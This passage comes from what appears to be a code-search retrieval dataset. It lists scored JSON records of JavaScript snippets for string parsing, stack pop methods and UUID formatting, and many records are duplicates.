parseModel (val) {\n str = val;\n len = str.length;\n index$1 = expressionPos = expressionEndPos = 0;\n\n if (val.indexOf('[') < 0 || val.lastIndexOf(']') < len - 1) {\n return {\n exp: val,\n idx: null\n }\n }\n\n while (!eof()) {\n chr = next();\n /* istanbul ignore if */\n if (isStringStart(chr)) {\n parseString(chr);\n } else if (chr === 0x5B) {\n parseBracket(chr);\n }\n }\n\n return {\n exp: val.substring(0, expressionPos),\n idx: val.substring(expressionPos + 1, expressionEndPos)\n }\n}", "title": "" }, { "docid": "c51c752e5ad210dc5bdf0da47d2d131f", "score": "0.49632892", "text": "function parseModel (val) {\n str = val;\n len = str.length;\n index$1 = expressionPos = expressionEndPos = 0;\n\n if (val.indexOf('[') < 0 || val.lastIndexOf(']') < len - 1) {\n return {\n exp: val,\n idx: null\n }\n }\n\n while (!eof()) {\n chr = next();\n /* istanbul ignore if */\n if (isStringStart(chr)) {\n parseString(chr);\n } else if (chr === 0x5B) {\n parseBracket(chr);\n }\n }\n\n return {\n exp: val.substring(0, expressionPos),\n idx: val.substring(expressionPos + 1, expressionEndPos)\n }\n}", "title": "" }, { "docid": "e323b86a94df6b54d74b11048b4ab555", "score": "0.49387372", "text": "function pop() {\n bufferText = bufferText.slice(0, -1);\n update();\n }", "title": "" }, { "docid": "c3ce09709c2750b63c188b3e0c76f7a4", "score": "0.491309", "text": "function sliceProcess() {\n let fullString = value;\n let endPosition = fullString.indexOf(':') + 1;\n return fullString.slice(0, endPosition);\n }", "title": "" }, { "docid": "35777dc9f4779bebb8f01e72a2e6e2ed", "score": "0.49093083", "text": "function sliceProcess() {\n let fullString = value;\n let endPosition = fullString.indexOf(':') + 1;\n return fullString.slice(0, endPosition);\n }", "title": "" }, { "docid": "7c9cae17e3bedbe39ca1e20bd15ca864", "score": "0.4859876", "text": "function parse(text,errors,options){if(errors===void 0){errors=[];}var currentProperty=null;var currentParent=[];var previousParents=[];function onValue(value){if(Array.isArray(currentParent)){currentParent.push(value);}else if(currentProperty){currentParent[currentProperty]=value;}}var visitor={onObjectBegin:function onObjectBegin(){var object={};onValue(object);previousParents.push(currentParent);currentParent=object;currentProperty=null;},onObjectProperty:function onObjectProperty(name){currentProperty=name;},onObjectEnd:function onObjectEnd(){currentParent=previousParents.pop();},onArrayBegin:function onArrayBegin(){var array=[];onValue(array);previousParents.push(currentParent);currentParent=array;currentProperty=null;},onArrayEnd:function onArrayEnd(){currentParent=previousParents.pop();},onLiteralValue:onValue,onError:function onError(error){errors.push({error:error});}};visit(text,visitor,options);return currentParent[0];}", "title": "" }, { "docid": "218b925461389516ee720ed448853189", "score": "0.48022342", "text": "popAt(index) {\n return this.elements.splice(index,1)[0];\n }", "title": "" }, { "docid": "0770862481d216a17b8fca1fa6dc6003", "score": "0.47902", "text": "pop(tmp){\n tmp = this.history.pop();\n if(tmp[0] !== null){\n return delete this.index[tmp[0]], Array.prototype.pop.call(this.catalog) \n } else {\n return this.history.pop(), Array.prototype.pop.call(this.catalog) \n }\n }", "title": "" }, { "docid": "76503134af23c69b7e8bce201041927e", "score": "0.4778735", "text": "pop() {\n\t\t//checks that array length is valid\n\t\tif (this.length === 0) {\n\t\t\tthrow new Error('index error');\n\t\t}\n\n\t\t//gets value from memory with get function using the ptr and the length of the array\n\t\t//decrements array length\n\t\tconst value = memory.get(this.ptr + this.length - 1);\n\t\tthis.length--;\n \n\t\treturn value;\n\t}", "title": "" }, { "docid": "fa1fb930624720230fe05e9daadc517f", "score": "0.47599307", "text": "function bparseString(str, pos) {\n\tvar colon, str2, len;\n\tcolon = findchar(str, pos, ':');\n\tif (-1 === colon) throw new Error(\"couldn't find colon\");\n\tstr2 = str.toString('ascii', pos, colon);\n\tif(isNum(str2)) {\n\t\tlen = parseInt(str2);\n\t\treturn [ copy(str, colon+1, len), colon+1+len ];\n\t}\n\tthrow new Error(\"string length is not numeric\");\n}", "title": "" }, { "docid": "fa1fb930624720230fe05e9daadc517f", "score": "0.47599307", "text": "function bparseString(str, pos) {\n\tvar colon, str2, len;\n\tcolon = findchar(str, pos, ':');\n\tif (-1 === colon) throw new Error(\"couldn't find colon\");\n\tstr2 = str.toString('ascii', pos, colon);\n\tif(isNum(str2)) {\n\t\tlen = parseInt(str2);\n\t\treturn [ copy(str, colon+1, len), colon+1+len ];\n\t}\n\tthrow new Error(\"string length is not numeric\");\n}", "title": "" }, { "docid": "32ee16fa4726a01279f625f102218efc", "score": "0.4758487", "text": "function parse_str(code, indx, fmcs, str) {\n if (str.length === 0) {\n return [indx, fmcs, str];\n } else if (indx < code.length && code[indx] === str[0]) {\n return parse_str(code, indx+1, fmcs+code[indx], str.slice(1));\n } else {\n throw \"Expected `\" + str + \"`, found `\" + code.slice(indx,indx+16) + \"`.\";\n };\n}", "title": "" }, { "docid": "21d6e9f30fdd162363c010d78cde8c9d", "score": "0.47289884", "text": "function parseBulk(parser) {\n console.log(\"bulk\", parser)\n return parser.pop();\n}", "title": "" }, { "docid": "d0ab3093285b5437bbd45660f9136de0", "score": "0.4722313", "text": "function native_StringImplementation__indexOperator(index) {\n return this[index];\n}", "title": "" }, { "docid": "6d58a7d9f5020b3e4250803ff0db6d0e", "score": "0.47161263", "text": "function sliceProcess() {\n let endPosition = value.indexOf(':') + 1;\n return value.slice(0, endPosition);\n }", "title": "" }, { "docid": "b6cf6a81f9128df4b81061f9036445f9", "score": "0.47148582", "text": "function parseResult(){\n mostrecentword = myRec.resultString.split(' ').pop();\n // console.log(mostrecentword);\n}", "title": "" }, { "docid": "e5b6070268c8bcccd7e63a686946d881", "score": "0.47062486", "text": "function getContent(str, preIndex) { // 用于解析字符串中第一个合法的双花括号位置和内容\n var flag = 0\n var start, end\n\n for (var i = 0; i < str.length; i++) {\n if (str[i] === '{' || str[i] === '}') {\n if (str[i] === '{') {\n if (str[i + 1] !== '{') // 如果不是连续两个花括号则不理会\n continue;\n else {\n flag++;\n start = typeof start === 'undefined' ? i : start\n i++\n }\n }\n if (str[i] === '}') {\n if (str[i + 1] !== '}')\n continue;\n else {\n flag--\n end = ++i\n }\n }\n if (flag === 0) {\n return {\n start: start + preIndex + 1,\n end: end + preIndex + 1,\n content: str.substring(start + 2, end - 1).trim()\n }\n }\n if (flag < 0) flag = 0 // 如果出现不合法的情况则重置flag\n }\n }\n return null\n }", "title": "" }, { "docid": "351e5a4e0b01a88bd5e6c60b5dd0b0d3", "score": "0.4697292", "text": "pop() {\n if (this.length===0) {\n return undefined;\n }\n else {\n var lastAddress=this.length-1;\n var value=this.memory[lastAddress];\n delete this.memory[lastAddress];\n this.length--;\n return value;\n }\n }", "title": "" }, { "docid": "0a6f96baaf6b6029f9cafe678e67397d", "score": "0.46912995", "text": "pop() {\n\t\treturn this.data.pop();\n\t}", "title": "" }, { "docid": "b4b821e6e43e7b1992e465a10634f168", "score": "0.46905446", "text": "pop() {\n this._endPointer = this._endPointer - 1 < 0 ? 0 : this._endPointer - 1;\n return this._internalArray[this._endPointer];\n }", "title": "" }, { "docid": "6a549890be9043d69044d7bb51bd1cfb", "score": "0.46751317", "text": "function parseForward(string, substring, successCallback, failureCallback) {\n\treturn parse(true, string, substring, successCallback, failureCallback);\n}", "title": "" }, { "docid": "5a4972cd4e5a71448b90f048c28b2565", "score": "0.46710718", "text": "function preparse(str){\n\tvar arrayStr=[];\n\tfor(var i = 0; i < str.length; i++){\n\t\tarrayStr.push(str[i]);\n\t}\n\treturn parse(arrayStr);\n}", "title": "" }, { "docid": "4b2a7b412b5019f81a1b9fd74a68287e", "score": "0.46578327", "text": "function parse(text) {\r\n var data = JSON.parse(text);\r\n data = revive(data);\r\n return data;\r\n}", "title": "" }, { "docid": "f80c75f130e451e2df2746488e7f5f30", "score": "0.46366456", "text": "pop() {\n const lastItem = this.data[this.length - 1]\n delete this.data[this.length - 1]\n --this.length\n return lastItem\n }", "title": "" }, { "docid": "ed15cf1a48e2cd33bee338a21d010d64", "score": "0.46340236", "text": "pop() {\n const lastItem = this.data[this.length - 1];\n delete this.data[this.length - 1];\n this.length--;\n return lastItem;\n }", "title": "" }, { "docid": "b72a75fb868c3a65eee9b3bfe3785b09", "score": "0.46203262", "text": "parseValue() {\n if (this.char === Parser.END) {\n throw this.error(new TomlError('Key without value'));\n } else if (this.char === CHAR_QUOT) {\n return this.next(this.parseDoubleString);\n }\n\n if (this.char === CHAR_APOS) {\n return this.next(this.parseSingleString);\n } else if (this.char === CHAR_HYPHEN || this.char === CHAR_PLUS$1) {\n return this.goto(this.parseNumberSign);\n } else if (this.char === CHAR_i) {\n return this.next(this.parseInf);\n } else if (this.char === CHAR_n) {\n return this.next(this.parseNan);\n } else if (isDigit(this.char)) {\n return this.goto(this.parseNumberOrDateTime);\n } else if (this.char === CHAR_t || this.char === CHAR_f) {\n return this.goto(this.parseBoolean);\n } else if (this.char === CHAR_LSQB) {\n return this.call(this.parseInlineList, this.recordValue);\n } else if (this.char === CHAR_LCUB) {\n return this.call(this.parseInlineTable, this.recordValue);\n } else {\n throw this.error(new TomlError('Unexpected character, expecting string, number, datetime, boolean, inline array or inline table'));\n }\n }", "title": "" }, { "docid": "df17714e96e41c9ed033422f5dcf9bc0", "score": "0.46176407", "text": "function popKV() {\n if(isIn(\"key-value\")) {\n stack.pop();\n //accumulator.push(\"END-KV \" + stack[stack.length - 1]);\n if(isIn(\"object\")) accumulator.push('<span class=\"json-separator\">, </span>');\n accumulator.push(\"</div>\");\n }\n }", "title": "" }, { "docid": "7329b91cef144db883bdcbde9f2c9c78", "score": "0.46073475", "text": "function getLastParsedValue(text) {\n return text.substring(parserState.value, parserState.valueEnd);\n}", "title": "" }, { "docid": "05b1d15b3c03e31b7f2b57fd73fad8fc", "score": "0.4597207", "text": "function unStringify(str){\n // Searches for \" or ' at the Start and End index\n if((startIndex === '\\\"' || startIndex === '\\'') && (endIndex === '\\\"' || endIndex === '\\'')){\n //\n return str.slice(startIndex, endIndex);\n }\n return str;\n }", "title": "" }, { "docid": "affff6c9370cae20b697dd9580a74453", "score": "0.45878208", "text": "pop() {\n let x = this.source[0];\n this.removeAt(0);\n return x;\n }", "title": "" }, { "docid": "dd0114a2e734a5a82d7c2aeee616ed09", "score": "0.45758536", "text": "pop() {\n return this.splice(-1, 1)[0];\n }", "title": "" }, { "docid": "1bdd88e7506f54e6255666ba907fa66c", "score": "0.45641306", "text": "function getLastParsedValue(text) {\n return text.substring(parserState.value, parserState.valueEnd);\n }", "title": "" }, { "docid": "1bdd88e7506f54e6255666ba907fa66c", "score": "0.45641306", "text": "function getLastParsedValue(text) {\n return text.substring(parserState.value, parserState.valueEnd);\n }", "title": "" }, { "docid": "585e9b9cba8b472846f340f71de519e8", "score": "0.456383", "text": "function parse(str) {\n var obj;\n try {\n obj = esprima.parse(str, { loc: true });\n } catch(e) {\n return e;\n }\n\n try{\n parsedResult = [];\n parseNode(obj);\n return parsedResult;\n } catch(e) {\n return e;\n }\n }", "title": "" }, { "docid": "12283dbbbd3eed1ed8cfb4812300758e", "score": "0.45620248", "text": "function parseData(data) {\n return data.split('=').slice(-1)[0]\n}", "title": "" }, { "docid": "04101280425c3883b577aeca780f4158", "score": "0.455435", "text": "pop() {\n const lastItem = this.data[this.length - 1];\n delete this.data[this.length - 1];\n return lastItem;\n }", "title": "" }, { "docid": "e6efd2deafbb136076703e9863000167", "score": "0.4534733", "text": "pop(){\n if(!this.isEmpty()){\n this.result = this.items.splice(this.topIndex-1,1);\n this.topIndex--;\n return this.result;\n }\n return undefined\n }", "title": "" }, { "docid": "e92fc1e944a43eac0bd8c7dcfa118767", "score": "0.45238128", "text": "function popLastToken(str) {\r\n var newstr = str.replace(/(.*){[^{}]+}$/,'$1');\r\n return newstr;\r\n}", "title": "" }, { "docid": "03c2950733d1dee520137521ab4dc638", "score": "0.4517163", "text": "pop(i){\r\n // if the position[i] is negative\r\n if (i < 0){\r\n console.log(\"Out of bound index\");\r\n return;\r\n }\r\n\r\n // if the popped item is at first position\r\n if (i == 0){\r\n data = this.head.val;\r\n this.head = this.head.right;\r\n this.head.left = null;\r\n return data;\r\n }\r\n\r\n var cur = this.head;\r\n var index = 0;\r\n // Continue traversing as long as inex is less than\r\n // position [i] and current node's [next] exist\r\n while (index < i && cur.right){\r\n cur = cur.right;\r\n index++;\r\n }\r\n\r\n // if the removed item is at last position\r\n if (!cur.right){\r\n var data = this.tail.data;\r\n this.tail = this.tail.left;\r\n this.tail.right = null;\r\n return data;\r\n }\r\n\r\n data = cur.val;\r\n cur.left.right = cur.right;\r\n cur.right.left = cur.left;\r\n return data;\r\n }", "title": "" }, { "docid": "5714633e7e62372d2c153fb5fda4bd29", "score": "0.4513395", "text": "popNextToken() {\n let res = null;\n\n if (this.cachedNext) {\n res = this.cachedNext;\n this.cachedNext = null;\n }\n else {\n this.wsRegex.lastIndex = this.cpos;\n let wsm = this.wsRegex.exec(this.str);\n if(wsm) {\n this.cpos += wsm[0].length;\n }\n\n if (this.checkPrefix(this.jsonKeyRegex)) {\n res = this.lexNextJsonKey();\n }\n else if (this.checkPrefix(this.simpleTokenRegex)) {\n res = this.lexNextSimpleToken();\n }\n else if (this.checkPrefix(this.floatRegex) || this.checkPrefix(this.integerRegex)) {\n res = this.lexNextNumber();\n }\n else if (this.checkPrefix(this.stringHeadRegex)) {\n res = this.lexNextString();\n }\n else if (this.checkPrefix(this.addressRegex)) {\n res = this.lexNextAddress();\n }\n else if (this.checkPrefix(this.logtagRegex)) {\n res = this.lexNextLogTag();\n }\n else if (this.checkPrefix(this.enumtagRegex)) {\n res = this.lexNextEnumTag();\n }\n else if (this.checkPrefix(this.wellknownRegex)) {\n res = this.lexNextWellKnown();\n }\n else {\n ; //no matches so just leave res as null\n }\n\n if (res) {\n this.cachedNext = res;\n }\n }\n\n return res;\n }", "title": "" }, { "docid": "3ac168d4bfe60cdebc5050e055fa7131", "score": "0.4507317", "text": "function parseString(str){\n var ret = reduce(String(str).split('&'), function(ret, pair){\n var eql = indexOf(pair, '=')\n , brace = lastBraceInKey(pair)\n , key = pair.substr(0, brace || eql)\n , val = pair.substr(brace || eql, pair.length)\n , val = val.substr(indexOf(val, '=') + 1, val.length);\n\n // ?foo\n if ('' == key) key = pair, val = '';\n if ('' == key) return ret;\n\n return merge(ret, decode(key), decode(val));\n }, { base: createObject() }).base;\n\n return restoreProto(compact(ret));\n}", "title": "" }, { "docid": "39146dc037e4b93d5d9fb21add5fee07", "score": "0.45037276", "text": "function ExtractItem(str, startTag, start)\n {\n var endTag = startTag.substring(0,1)+\"/\"+startTag.substring(1,startTag.length);\n var pos0 = str.indexOf(startTag, start);\n if (pos0>=0)\n {\n pos0 += startTag.length;\n var pos1 = str.indexOf(endTag, start);\n if (pos1>pos0)\n {\n var tmparray = Array(2);\n tmparray[0] = str.substring(pos0, pos1);\n tmparray[1] = pos1 + endTag.length;\n return tmparray;\n }\n }\n return null;\n }", "title": "" }, { "docid": "62afc7b3f6a67e92a6108a5928c6a88d", "score": "0.44967154", "text": "function parse(i) {\n if (i instanceof Array) {\n if (i.length > 5) {\n i = i.slice(0,6)\n }\n if (i[0] instanceof Object) {\n items = []\n for (x in i) { items.push(object_parse(i[x])); }\n }\n else {\n items = i;\n }\n return items.join(', ')\n }\n else if (i instanceof Object) { return object_parse(i); }\n else if (typeof i === \"string\") { return i; }\n }", "title": "" }, { "docid": "3f0ace2d570779d79fe653ba2f86d045", "score": "0.44930115", "text": "parse(view, offset) {\n\t\t\treturn this._value.parse(view, offset);\n\t\t}", "title": "" }, { "docid": "4c2c1b3f90345d97185e1222c670a33f", "score": "0.44726685", "text": "peek() {\n return this.input.charAt(this.index);\n }", "title": "" }, { "docid": "29c47dae698c588689861458448de2de", "score": "0.44550994", "text": "parse(xmpString = this.chunk) {\r\n\t\tif (!this.localOptions.parse)\r\n\t\t\treturn xmpString\r\n\t\txmpString = idNestedTags(xmpString)\r\n\t\tlet tags = XmlTag.findAll(xmpString, 'rdf', 'Description')\r\n\t\tif (tags.length === 0)\r\n\t\t\ttags.push(new XmlTag('rdf', 'Description', undefined, xmpString))\r\n\t\tlet xmp = {}\r\n\t\tlet namespace\r\n\t\tfor (let tag of tags) {\r\n\t\t\tfor (let prop of tag.properties) {\r\n\t\t\t\tnamespace = getNamespace(prop.ns, xmp)\r\n\t\t\t\tassignToObject(prop, namespace)\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn pruneObject(xmp)\r\n\t}", "title": "" }, { "docid": "fdec1fb6be44435123e03f3950bf31ee", "score": "0.444886", "text": "pop(elementIdx = 0) {\n if (this.isEmpty()) {\n return null;\n }\n\n if (elementIdx > 0)\n {\n // splice(-1) removes last element and returns array of removed elements\n return this.elements.splice(-elementIdx-1, 1)[0];\n }\n\n return this.elements.pop();\n }", "title": "" }, { "docid": "ec5e53588e4cf4311e2c665a162e18a3", "score": "0.44429645", "text": "function parseResult(){\n mostrecentword = myRec.resultString.split(' ').pop();\n console.log(mostrecentword);\n }", "title": "" }, { "docid": "5828085cda9b9a6d27c15833780e9b29", "score": "0.4436238", "text": "function popFirstToken(str) {\r\n var newstr = str.replace(/^{[^{}]+}(.*)$/,'$1');\r\n return newstr;\r\n}", "title": "" }, { "docid": "f74f803bb130ee5da9e8f910895538a3", "score": "0.44317457", "text": "function parseBracketString(sourceString, length, node, offset) {\n\t\tif (offset.value >= length) {\n\t\t\treturn null;\n\t\t}\n\n\t\tvar buffer = \"\";\n\t\tvar nestingLevel = 1;\n\n\t\toffset.value++;\n\n\t\twhile (offset.value < length) {\n\t\t\tvar c = sourceString.charCodeAt(offset.value);\n\t\t\tif (c === 91) {\n\t\t\t\tnestingLevel++;\n\t\t\t} else if (c === 93) {\n\t\t\t\tnestingLevel--;\n\t\t\t\tif (nestingLevel === 0) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbuffer += sourceString[offset.value];\n\t\t\toffset.value++;\n\t\t}\n\n\t\treturn buffer;\n\t}", "title": "" }, { "docid": "444b3d270214b2619c986a7d7909bc8f", "score": "0.44226402", "text": "function parse(selector){return parser.parse(selector);}", "title": "" }, { "docid": "3ba1141572a25e5709336a8635f590e4", "score": "0.44224578", "text": "eatTo(index) {\n if (index == this._curr)\n return '';\n let str = this._content.slice(this._curr, index);\n this._curr = index;\n return str;\n }", "title": "" }, { "docid": "8ed7c9b8045c3359b8fd15e1aaf70179", "score": "0.44176635", "text": "function parse(s) {\r\n // start parsing\r\n return parseOuter(s);\r\n}", "title": "" }, { "docid": "e30995315e8367b2c2f9e697cffd27c6", "score": "0.44155917", "text": "popStart() {\n if (this.size() == 0) {\n throw new RangeError(\"Index out of bounds.\");\n }\n const ret = this.data[this.start];\n this.start = (this.start + 1) % this.data.length;\n this.possiblyShrink();\n this.len--;\n return ret;\n }", "title": "" }, { "docid": "b20446266a15fc4f79caf647dee396d9", "score": "0.44087678", "text": "function unparse(buf, offset) {\n\t var i = offset || 0, bth = _byteToHex;\n\t return bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]];\n\t }", "title": "" }, { "docid": "b20446266a15fc4f79caf647dee396d9", "score": "0.44087678", "text": "function unparse(buf, offset) {\n\t var i = offset || 0, bth = _byteToHex;\n\t return bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]];\n\t }", "title": "" }, { "docid": "b20446266a15fc4f79caf647dee396d9", "score": "0.44087678", "text": "function unparse(buf, offset) {\n\t var i = offset || 0, bth = _byteToHex;\n\t return bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]];\n\t }", "title": "" }, { "docid": "b20446266a15fc4f79caf647dee396d9", "score": "0.44087678", "text": "function unparse(buf, offset) {\n\t var i = offset || 0, bth = _byteToHex;\n\t return bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]];\n\t }", "title": "" }, { "docid": "b20446266a15fc4f79caf647dee396d9", "score": "0.44087678", "text": "function unparse(buf, offset) {\n\t var i = offset || 0, bth = _byteToHex;\n\t return bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]];\n\t }", "title": "" }, { "docid": "b20446266a15fc4f79caf647dee396d9", "score": "0.44087678", "text": "function unparse(buf, offset) {\n\t var i = offset || 0, bth = _byteToHex;\n\t return bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]];\n\t }", "title": "" }, { "docid": "b20446266a15fc4f79caf647dee396d9", "score": "0.44087678", "text": "function unparse(buf, offset) {\n\t var i = offset || 0, bth = _byteToHex;\n\t return bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]];\n\t }", "title": "" }, { "docid": "b20446266a15fc4f79caf647dee396d9", "score": "0.44087678", "text": "function unparse(buf, offset) {\n\t var i = offset || 0, bth = _byteToHex;\n\t return bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] + '-' +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]] +\n\t bth[buf[i++]] + bth[buf[i++]];\n\t }", "title": "" }, { "docid": "b0352c265dedaace17acced098497e00", "score": "0.43986604", "text": "pop() {\n if (this.count === 0) {\n return undefined;\n }\n this.count--;\n var result = this.storage[this.count];\n delete this.storage[this.count];\n return result;\n }", "title": "" }, { "docid": "2836d94bc8bf890a07715481cf9e2f6f", "score": "0.4392188", "text": "function pop(obj, stack, metaStack) {\n\t var lastMetaElement = metaStack[metaStack.length - 1];\n\t if (obj === lastMetaElement.element) {\n\t // popping a meta-element, e.g. an object whose value is another object\n\t metaStack.pop();\n\t lastMetaElement = metaStack[metaStack.length - 1];\n\t }\n\t var element = lastMetaElement.element;\n\t var lastElementIndex = lastMetaElement.index;\n\t if (Array.isArray(element)) {\n\t element.push(obj);\n\t } else if (lastElementIndex === stack.length - 2) { // obj with key+value\n\t var key = stack.pop();\n\t element[key] = obj;\n\t } else {\n\t stack.push(obj); // obj with key only\n\t }\n\t}", "title": "" }, { "docid": "fe9ca61fe590389000cc0cc76873d636", "score": "0.4391058", "text": "pop() {\n return this.data.pop()\n }", "title": "" }, { "docid": "b7e7f3f4db0fbeedfa490f9cb42ecf22", "score": "0.43894976", "text": "popObject() {\n var len = this.length;\n\n if (len === 0) {\n return null;\n }\n\n var ret = (0, _metal.objectAt)(this, len - 1);\n this.removeAt(len - 1, 1);\n return ret;\n }", "title": "" }, { "docid": "423cb4825e3cfc48b6f1e8cc6b729dc9", "score": "0.43832287", "text": "function pop$1(obj, stack, metaStack) {\n var lastMetaElement = metaStack[metaStack.length - 1];\n if (obj === lastMetaElement.element) {\n // popping a meta-element, e.g. an object whose value is another object\n metaStack.pop();\n lastMetaElement = metaStack[metaStack.length - 1];\n }\n var element = lastMetaElement.element;\n var lastElementIndex = lastMetaElement.index;\n if (Array.isArray(element)) {\n element.push(obj);\n } else if (lastElementIndex === stack.length - 2) { // obj with key+value\n var key = stack.pop();\n element[key] = obj;\n } else {\n stack.push(obj); // obj with key only\n }\n}", "title": "" }, { "docid": "db457bf710f8230bc802ef9920b04736", "score": "0.43813202", "text": "function decompress (str = case2, memo = '', index = 0) {\n\n tokenize(str, index)\n let currentCharacter = str.charAt(index)\n let finalString = currentCharacter;\n const initialTokenType = charType(currentCharacter)\n let currentCharacterType = null\n let currentIndex = index\n do {\n currentIndex++;\n currentCharacter = str.charAt(currentIndex)\n currentCharacterType = charType(currentCharacter)\n if (currentCharacterType !== initialTokenType) {\n break;\n }\n\n finalString += currentCharacter\n\n\n } while (index < str.length)\n console.log(finalString)\n return [str, finalString, currentIndex]\n}", "title": "" }, { "docid": "86fa0e1e5f643587ebe836cbbff57799", "score": "0.43812272", "text": "clear() {\n while (this.getLength() > 0) {\n this.pop();\n }\n }", "title": "" }, { "docid": "c16faf09503dbf2bc9f53bbfe1faab76", "score": "0.4374327", "text": "function popIn (o,p){if(Object.hasOwn(o,p)){var v=o[p]; delete o[p]; return v;}}", "title": "" }, { "docid": "55e5ea62be7c6c7155f4923d6c380f0e", "score": "0.43738604", "text": "function slice(value, from, length, single) {\n if (NoDash.isArrayLike(value)) {\n var res = (typeof value == 'string' ? value.substr : ap.slice).call(value, from, length)\n if (single) { res = res[0] } // from can be negative\n } else {\n var res = NoDash.entries(value).slice(from, length)\n res = single ? res.length ? res[0][1] : undefined : NoDash.fromEntries(res)\n }\n return res\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + 